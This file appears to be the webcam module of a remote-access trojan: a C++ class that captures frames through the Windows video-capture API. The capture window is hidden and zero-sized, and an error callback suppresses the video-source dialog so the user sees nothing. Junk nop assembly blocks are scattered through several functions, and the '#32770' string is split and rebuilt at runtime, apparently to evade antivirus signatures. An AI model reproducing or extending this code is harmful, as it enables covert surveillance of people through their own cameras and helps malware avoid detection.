videocap.cpp

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// VideoCap.cpp: implementation of the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#include "VideoCap.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CVideoCap::m_bIsConnected = false;

CVideoCap::CVideoCap()
{__asm
{
nop
NOP
}
//////////////////////////////////////////////////////////

//把字符串"#32770"连接起来（字符串连接法）
char *str1="#32", *str2="770",*str3=NULL;
str3=new char[strlen(str1)+strlen(str2)+1];
strcpy(str3,str1);                                 //把str1所指由NULL结束的字符串复制到str3所指的数组中
strcat(str3,str2);                                 //把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'\0')并添加'\0'
                                                   //这样就实现了str3=str1+str2,把str1和str2连接起来了
//////////////////////////////////////////////////////////
	// If FALSE, the system automatically resets the state to nonsignaled after a single waiting thread has been released.
	m_hCaptureEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

	m_lpbmi = NULL;
	m_lpDIB = NULL;


	if (!IsWebCam() || m_bIsConnected)
		return;

//	m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
	m_hWnd = CreateWindow(str3, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);	m_hWndCap = capCreateCaptureWindow
		(
		"CVideoCap", 
		WS_CHILD | WS_VISIBLE,
		0,
		0,
		0,
		0,
		m_hWnd,
		0
		);
}

CVideoCap::~CVideoCap()
{__asm
{
nop
NOP
}
	if (m_bIsConnected)
	{
		capCaptureAbort(m_hWndCap);
		capDriverDisconnect(m_hWndCap);

		if (m_lpbmi)
			delete m_lpbmi;
		if (m_lpDIB)
			delete m_lpDIB;
		m_bIsConnected = false;
	}

	capSetCallbackOnError(m_hWndCap, NULL);
	capSetCallbackOnFrame(m_hWndCap, NULL);	

	CloseWindow(m_hWnd);
	CloseWindow(m_hWndCap);

	CloseHandle(m_hCaptureEvent);
}
// 自定义错误,不让弹出视频源对话框
LRESULT CALLBACK CVideoCap::capErrorCallback(HWND hWnd,	int nID, LPCSTR lpsz)
{
	return (LRESULT)TRUE;
}

LRESULT CALLBACK CVideoCap::FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr)
{
	try
	{
		CVideoCap *pThis = (CVideoCap *)capGetUserData(hWnd);
		if (pThis != NULL)
		{
			memcpy(pThis->m_lpDIB, lpVHdr->lpData, pThis->m_lpbmi->bmiHeader.biSizeImage);
			SetEvent(pThis->m_hCaptureEvent);
		}
	}catch(...){};
	return 0;
}

bool CVideoCap::IsWebCam()
{
	// 已经连接了
	if (m_bIsConnected)
		return false;

	bool	bRet = false;
	
	char	lpszName[100], lpszVer[50];
	for (int i = 0; i < 10 && !bRet; i++)
	{
		bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
			lpszVer, sizeof(lpszVer));
	}
	return bRet;
}

LPBYTE CVideoCap::GetDIB()
{__asm
{
nop
NOP
}
	capGrabFrameNoStop(m_hWndCap);
	DWORD	dwRet = WaitForSingleObject(m_hCaptureEvent, 3000);

	if (dwRet == WAIT_OBJECT_0)
		return m_lpDIB;
	else
		return NULL;
}

bool CVideoCap::Initialize(int nWidth, int nHeight)
{__asm
{
nop
NOP
}
	CAPTUREPARMS	gCapTureParms ; //视频驱动器的能力
	CAPDRIVERCAPS	gCapDriverCaps;
	DWORD			dwSize;

	if (!IsWebCam())
		return false;

	capSetUserData(m_hWndCap, this);
	
	capSetCallbackOnError(m_hWndCap, capErrorCallback);
	if (!capSetCallbackOnFrame(m_hWndCap, FrameCallbackProc))
	{
		return false;
	}

	// 将捕获窗同驱动器连接
	for (int i = 0; i < 10; i++)
	{
		if (capDriverConnect(m_hWndCap, i))
			break;
	}
	if (i == 10)
		return false;
	
	
	dwSize = capGetVideoFormatSize(m_hWndCap);
	m_lpbmi = new BITMAPINFO;

	// M263只支持176*144 352*288 (352*288 24彩的试验只支持biPlanes = 1)
	capGetVideoFormat(m_hWndCap, m_lpbmi, dwSize);
	// 采用指定的大小
	if (nWidth && nHeight)
	{
 		m_lpbmi->bmiHeader.biWidth = nWidth;
 		m_lpbmi->bmiHeader.biHeight = nHeight;
		m_lpbmi->bmiHeader.biPlanes = 1;
		m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
		// 实验得知一些摄像头不支持指定的分辩率
 		if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
			return false;
	}

	m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];

	capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
	
	capOverlay(m_hWndCap, FALSE);
	capPreview(m_hWndCap, FALSE);	
	capPreviewScale(m_hWndCap, FALSE);

	m_bIsConnected = true;

	return true;
}